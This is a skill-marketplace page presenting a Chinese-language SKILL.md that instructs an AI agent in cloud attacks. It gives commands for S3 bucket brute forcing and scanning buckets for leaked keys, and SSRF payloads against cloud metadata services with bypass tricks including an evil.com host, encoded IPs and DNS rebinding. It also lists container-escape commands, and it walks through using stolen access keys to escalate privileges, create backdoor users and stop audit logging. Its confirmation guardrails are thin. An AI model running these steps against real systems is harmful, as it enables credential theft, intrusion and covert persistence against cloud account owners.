Cloud Vuln Skill logo

Cloud Vuln Skill

Community
mouren101
cloud-vuln-skill

云安全漏洞挖掘与利用 Skill。S3 桶爆破枚举、公开桶敏感文件发现、 SSRF→IMDS 凭证窃取探测、K8s 未授权访问检测、容器逃逸条件识别、 AK/SK 凭证验证与权限枚举、存储桶供应链攻击利用。

Overview

Publishermouren101
Repositorycloud-vuln-skill
Skill namecloud-vuln-skill
Stars
34
Forks
4
Bundled files
11
LicenseAGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 11 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by mouren101 on GitHub. Read the source before you install it.

Installation

Install the Cloud Vuln Skill AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/mouren101/cloud-vuln-skill/tree/main
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/mouren101/cloud-vuln-skill.git \
  .claude/skills/cloud-vuln-skill
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cloud Vuln Skill in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cloud Vuln Skill on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cloud Vuln Skill is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

云漏洞发现与利用

目的

发现云环境攻击面,验证漏洞可利用性。两个阶段:信息收集(无需凭证)→ 凭据利用(拿到 AK/SK 后)。

所有命令

命令需要凭证用途
brute-s3否爆破 S3 桶名
check-bucket否检查单个桶公开读/写/列
scan-bucket否扫描公开桶中敏感文件
probe-ssrf否探测 SSRF→IMDS 凭证窃取
probe-k8s否探测 K8s 未授权访问
container-escape否检测容器逃逸条件
exploit-creds是AK/SK 验证+权限枚举+提权分析

Phase 1: 信息收集 — S3 桶名爆破

bash
python scripts/cloud_scanner.py brute-s3 --keyword <公司名> [--threads 20] [--delay 0.1]
python scripts/cloud_scanner.py brute-s3 --keyword alibaba --format table

原理:关键词拼接 70+ 后缀(-prod/-dev/-backup/-terraform/-secrets/-keys 等),向 AWS 全球端点和各区域端点并发 HTTP HEAD。--delay 控制请求间隔,避免触发云端限流。

200 = 公开桶(可列目录),403 = 存在但非公开,404/DNS 解析失败 = 不存在。

已知桶名后进入下一步。

Phase 2: 信息收集 — 单桶公开状态检查

bash
python scripts/cloud_scanner.py check-bucket --name <桶名> [--region us-east-1]

三项检测:

  • 公开可列 — GET 桶根路径,200 且响应含 <Key> 即为可列目录
  • 公开可写 — PUT 测试文件,200 即为可写(测试后自动清理)
  • 公开可读 — HEAD 常见文件名,200 即为可读

Phase 3: 信息收集 — 公开桶敏感文件扫描

bash
python scripts/cloud_scanner.py scan-bucket --url https://<桶名>.s3.amazonaws.com

两级匹配:

第一级(文件名) — 不需下载,匹配 13 类敏感文件: .env / terraform.tfstate / credentials / id_rsa / *.sql / *.dump / config.yml / secret.yaml / Dockerfile / .git/config / *.pem / *.zip / .bash_history

第二级(内容关键词) — 下载小于 1MB 的文件搜: AKIA / ASIA / -----BEGIN RSA PRIVATE KEY----- / DB_PASSWORD= / AWS_ACCESS_KEY_ID= / connectionString / Bearer / Authorization: / CREATE TABLE

桶不可列时自动切换爆破模式,用内置 30 个常见文件名逐个探测。

Phase 4: 主动探测 — SSRF → IMDS 凭证窃取

bash
python scripts/cloud_scanner.py probe-ssrf --target <URL> --param <参数名>

向目标 URL 的参数注入云元数据服务地址,检测响应中是否含云凭证关键词。

注入的 Payload:

#Payload目标
1http://169.254.169.254/latest/meta-data/AWS IMDSv1
2http://169.254.169.254/latest/meta-data/iam/security-credentials/AWS IAM Role 名
3http://169.254.169.254/metadata/instance?api-version=2021-02-01 + Header Metadata: trueAzure IMDS
4http://metadata.google.internal/computeMetadata/v1/ + Header Metadata-Flavor: GoogleGCP
5http://100.100.100.200/latest/meta-data/阿里云
6http://[::ffff:a9fe:a9fe]/latest/meta-data/AWS IPv6 映射绕过

绕过变体(手动测试时使用):

# URL 解析差异
http://169.254.169.254@evil.com/
http://2852039166/              # 十进制 IP
http://0xA9FEA9FE/              # 十六进制 IP
http://0177.0176.0251.0376/     # 八进制

# 重定向绕过
攻击者服务器 302 → http://169.254.169.254/latest/meta-data/

# DNS Rebinding
域名 TTL=0, 交替解析到 169.254.169.254 和攻击者 IP

# IMDSv2 Token 获取(部分 SSRF 库支持 PUT)
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

Phase 5: 主动探测 — K8s 未授权访问

bash
python scripts/cloud_scanner.py probe-k8s --node <IP>

扫描 7 个高危端口,每个端口尝试请求关键 API 路径并判断是否需要认证:

端口服务探测路径
6443K8s API (TLS)/api/v1/pods /api/v1/secrets /version
8080K8s API (Plain)同上
10250Kubelet/pods /runningpods/
10255Kubelet RO/pods
2379etcd/version /v2/keys
4194cAdvisor/containers
10256kube-proxy/healthz

Phase 6: 主动探测 — 容器逃逸条件

在获得的容器/Pod 内运行:

bash
python scripts/cloud_scanner.py container-escape

11 项自动检测:

检测危险度逃逸方法
/var/run/docker.sock 挂载🔴 CRITICALdocker -H unix://... run -v /:/host alpine chroot /host
Privileged 模式🔴 CRITICALnsenter --target 1 --mount --pid -- bash
CAP_SYS_ADMIN🔴 CRITICALcgroup release_agent 逃逸
CAP_SYS_PTRACE🔴 CRITICAL宿主机进程注入
hostPID🔴 CRITICALnsenter -t 1
hostPath 挂载🔴 CRITICAL直接读写宿主机文件
K8s SA Token🟠 HIGH调 API Server 操作资源
IMDS 可达🟠 HIGH获取云 IAM 凭证
Containerd Socket🟠 HIGHctr 命令控制容器

注意:container-escape 只检测逃逸条件,不会尝试实际逃逸。利用行为需经你确认后才执行。

Phase 7: 凭据利用 — AK/SK 验证与权限枚举

bash
python scripts/cloud_scanner.py exploit-creds --ak <AccessKey> --sk <SecretKey> [--token <SessionToken>]

一条命令完成五步:

Step 1: 身份验证

sts:GetCallerIdentity → 返回 Account ID、ARN、用户类型

Step 2: IAM 信息收集

  • 附加策略列表(含所在组的策略)
  • Inline Policy 列表
  • MFA 启用状态
  • 所属 IAM 组

Step 3: 高危权限探测(23 个 API 采样)

类别探测命令危害
直接提权iam:CreatePolicyVersion造 Admin 策略
直接提权iam:AttachUserPolicy贴 Admin 策略
后门iam:CreateUser + iam:CreateAccessKey创建管理员后门
EC2ec2:RunInstances创建后门实例
Lambdalambda:UpdateFunctionCode + lambda:InvokeFunction注入恶意代码
S3s3:PutBucketPolicy修改桶策略
反取证cloudtrail:StopLogging停审计日志

Step 4: 提权路径分析

匹配 10 种危险权限组合,输出具体可执行的提权路径。

Step 5: S3 桶枚举

列出所有桶 → 检查 Block Public Access → 检查加密

重要:利用行为限制

权限探测阶段只做读操作(list/describe/get)。write 类权限仅报告"你有此权限"而不实际执行。实际利用(创建用户/修改策略/创建 EC2 等)必须经你确认后才执行。


漏洞发现方法论(人工辅助)

以下方法需要人工操作,AI 可指导但不能自动执行。

信息泄露发现

1. 服务组件报错泄露

  • 对云服务 Web/API 输入非预期参数
  • 观察报错信息中是否有内部 AK/SK、API 端点
  • 关注:500 错误页、debug 输出、数据库错误

2. 非正式镜像泄露

  • 购买云主机时抓包看镜像列表 API 返回
  • 前端不展示的镜像(含 test/dev/internal/debug 字样)
  • 用这些镜像创建实例 → 登录搜索 /etc/profile、~/.bash_history、/opt/

3. 部署文档/工具包泄露

  • GitHub 搜索 "access_key_id" + 云厂商名
  • 下载云厂商官方 CLI/SDK 工具包 → 解压找 .env/config.yml
  • 关注官方文档示例代码中的测试凭据

4. 项目托管平台泄露

  • GitHub: filename:.env / filename:credentials + 厂商关键词
  • 关注测试用例、README、CI/CD 配置

5. 公开存储桶内容挖掘

  • 不只看文件名,还要看文件内容
  • 日志文件中的 Authorization: header
  • 备份 SQL 中的用户密码 hash
  • CI/CD 产物中的构建参数

AK/SK 拿到后的人工验证

确认权限范围后(由 exploit-creds 完成),如需进一步利用:

  1. 有 IAM 写权限? → 创建后门用户
  2. 有 EC2 权限? → 找高权限 Instance Profile 的实例
  3. 有 S3 权限? → 枚举所有桶 + 读敏感文件
  4. 有 Lambda 权限? → 查看函数环境变量(含数据库密码)
  5. 跨账户? → 检查所有 Role 信任策略

上述操作执行前必须向我确认。

报告输出

所有命令默认 JSON 输出,部分支持表格和 Markdown:

bash
python scripts/cloud_scanner.py brute-s3 --keyword test --format table
python scripts/cloud_scanner.py exploit-creds --ak ... --sk ... --output result.json

Guardrails

  • 所有探测仅做被动信息收集,不修改目标资源
  • exploit-creds 的写权限检测使用 DryRun / 假参数(不存在的资源名),不产生副作用
  • S3 可写测试在上传后立即删除测试文件
  • SSRF 探测使用仅含元数据关键词的读请求
  • 存储桶内容扫描仅下载文件头部(≤10KB)进行关键词匹配
  • 实际利用操作必须先向用户确认

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Cloud Vuln Skill AI skill do?

云安全漏洞挖掘与利用 Skill。S3 桶爆破枚举、公开桶敏感文件发现、 SSRF→IMDS 凭证窃取探测、K8s 未授权访问检测、容器逃逸条件识别、 AK/SK 凭证验证与权限枚举、存储桶供应链攻击利用。

Why use Cloud Vuln Skill on TypingMind?

Because you install it once and use it with any model. Cloud Vuln Skill is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cloud Vuln Skill in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/mouren101/cloud-vuln-skill/tree/main. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Cloud Vuln Skill?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cloud Vuln Skill?

As many as you like. As long as a model supports skills, you can use Cloud Vuln Skill with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cloud Vuln Skill AI skill free?

Yes. It is published on GitHub by mouren101 under the AGPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇